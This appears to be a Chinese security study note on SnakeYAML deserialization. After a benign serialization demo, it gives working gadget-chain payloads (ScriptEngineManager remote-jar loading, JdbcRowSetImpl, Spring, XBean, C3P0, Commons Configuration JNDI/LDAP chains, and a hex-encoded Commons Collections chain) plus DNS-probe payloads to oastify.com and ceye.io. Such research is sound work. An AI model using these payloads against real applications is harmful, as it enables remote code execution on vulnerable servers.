1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

基础

示例Person

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class Person {

private String name;
private Integer age;
public String school;
protected String province;

public String getSchool() {
System.out.println("getSchool 方法被调用");
return school;
}

public void setSchool(String school) {
System.out.println("setSchool 方法被调用");
this.school = school;
}

public String getProvince() {
System.out.println("getProvince 方法被调用");
return province;
}

public void setProvince(String province) {
System.out.println("setProvince 方法被调用");
this.province = province;
}
public Person(){
System.out.println("无参构造函数被调用");
}

public void printInfo(){
System.out.println("name is " + this.name + "age is" + this.age);
}

public String getName() {
System.out.println("getName 方法被调用");
return name;
}

public void setName(String name) {
System.out.println("setName 方法被调用");
this.name = name;
}

public Integer getAge() {
System.out.println("getAge 方法被调用");
return age;
}

public void setAge(Integer age) {
System.out.println("setAge 方法被调用");
this.age = age;
}
}

test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import org.yaml.snakeyaml.Yaml;

public class test_per {
public static void unserialize(){
String str1 = "!!Person {age: 10, name: jmx, province: sichuan, school: cuit}";
String str2 = "age: 20\n" +
"name: Drunkbaby";
Yaml yaml = new Yaml();
Person test=yaml.load(str1);
System.out.println(test.school);
//yaml.loadAs(str2, Person.class);
}
public static void serialize(){
Person person=new Person();
person.setName("jmx");
person.setAge(20);
person.setSchool("cuit");
person.setProvince("sichuan");
Yaml yaml=new Yaml();
String str=yaml.dump(person);
System.out.println(str);

}
public static void main(String[] args) {
serialize();
//unserialize();

}

}

结论:

  1. 序列化格式:
    1
    !!Person {age: 20, name: jmx, province: sichuan, school: cuit}
  2. 序列化的时候会调用对应变量的get方法,这里发现个问题,不能调用public变量的get方法(它能直接读取)
  3. 反序列化会调用对应类的构造方法和对应变量的set方法,不能调用public变量的set方法(它能直接赋值)

利用 SPI 机制 - 基于 ScriptEngineManager 利用链

1
2
3
4
5
6
7
8
9
public class SPInScriptEngineManager {  
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager " +
"[!!java.net.URLClassLoader " +
"[[!!java.net.URL [\"http://localhost:7777/yaml-payload.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

yaml-payload.jar的GitHub地址: https://github.com/artsploit/yaml-payload
编译打包:

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

SPI机制:
SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在 ClassPath 路径下的 META-INF/services 文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现

我们观察工具的文件就能发现:
image.png

image.png

exp的 [!! 是作为 javax.script.ScriptEngineManager 的属性的,就等于我调用了 javax.script.ScriptEngineManager 这个类,传参是javax.script.ScriptEngineManager

JdbcRowSetImpl链

image.png

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class test1 {
public static void main(String[] args) {
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"ldap://127.0.0.1:1389/Basic/Command/calc\", autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

注意高版本jdk的jndi限制,这里用的jdk1.8.0_111
image.png

Spring PropertyPathFactoryBean

需要spring环境

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.yaml.snakeyaml.Yaml;

public class test1 {
public static void main(String[] args) {
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://localhost:1389/Basic/Command/calc\"\n" +
" propertyPath: Drunkbaby\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://localhost:1389/Basic/Command/calc\"]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

image.png

入口是PropertyPathFactoryBean的setBeanFactory()方法:
image.png

this.beanFactory是传入的org.springframework.jndi.support.SimpleJndiBeanFactory,调用它的getBean()方法
image.png

这里有个isSingleton函数检查:
image.png
需要也传个shareableResources
进入lookup,完成JNDI

Apache XBean

1
2
3
4
5
<dependency>  
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
import org.yaml.snakeyaml.Yaml;

public class test1 {
public static void main(String[] args) {
String payload = "!!javax.management.BadAttributeValueExpException " +
"[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding " +
"[\"Drunkbaby\",!!javax.naming.Reference [\"foo\", \"calc\", \"http://localhost:8900/\"]," +
"!!org.apache.xbean.naming.context.WritableContext []]]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

这个exp很有东西,看了Drun1baby师傅的博客学到很多
BadAttributeValueExpException的构造方法可以接收一个对象并调用它的toString()方法
image.png
这个val是我们传入的org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding
它没有toString()方法,它的父类Binding有
image.png
调用getObject()方法,回到ReadOnlyBinding的getObject()方法
image.png
进入resolve()方法
image.png
发现jndi注入点

C3P0 JndiRefForwardingDataSource

c3p0的jndi的sink点直接构造

1
2
3
4
5
6
7
8
9
10
11
import org.yaml.snakeyaml.Yaml;

public class test1 {
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"ldap://localhost:1389/Basic/Command/calc\"\n" +
" loginTimeout: 0";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

C3P0 WrapperConnectionPoolDataSource

c3p0的hex反序列化sink点

1
2
3
4
5
6
7
8
9
10
import org.yaml.snakeyaml.Yaml;

public class test1 {
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
" userOverridesAsString: \"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B787074000441746B787372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65707400096765744D6574686F64757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001C7371007E00137571007E0018000000027070740006696E766F6B657571007E001C00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E00137571007E00180000000174000463616C63740004657865637571007E001C0000000171007E001F7371007E00003F4000000000000C77080000001000000000787874000362626278;\"";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

Apache Commons Configuration

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class test1 {
public static void main(String[] args) {
String payload = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:1389/Basic/Command/calc\"]]: 1";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

sink点在JNDIConfiguration.getKeys()方法里

探测

根据urldns链可以知道URL类的hashCode()方法会进入URLStreamHandler.hashcode()->URLStreamHandler.getHostAddress->InetAddress.getByname(host)完成dns探测

HashMap的键值存储是{key1: value1,key2,value2}格式的,我们直接传入map:

1
2
3
4
5
6
7
8
9
10
import org.yaml.snakeyaml.Yaml;

public class test1 {
public static void main(String[] args) {
String payload = "{!!java.net.URL [\"http://67bkvkhgehq8b376cycmkf20frlh96.oastify.com/\"]: 1}";
Yaml yaml = new Yaml();

yaml.load(payload);
}
}

image.png

也可以这样构造map:

1
String poc = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";

参考